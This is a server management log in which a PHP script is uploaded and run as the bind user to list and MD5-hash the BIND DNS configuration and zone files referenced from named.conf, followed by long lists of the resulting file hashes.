MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:10:45: Establishing a connection
2026-04-24 16:10:46: 

PUT: /tmp/pkp674880

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:10:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp674880; rm /tmp/pkp674880'

2026-04-24 16:10:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
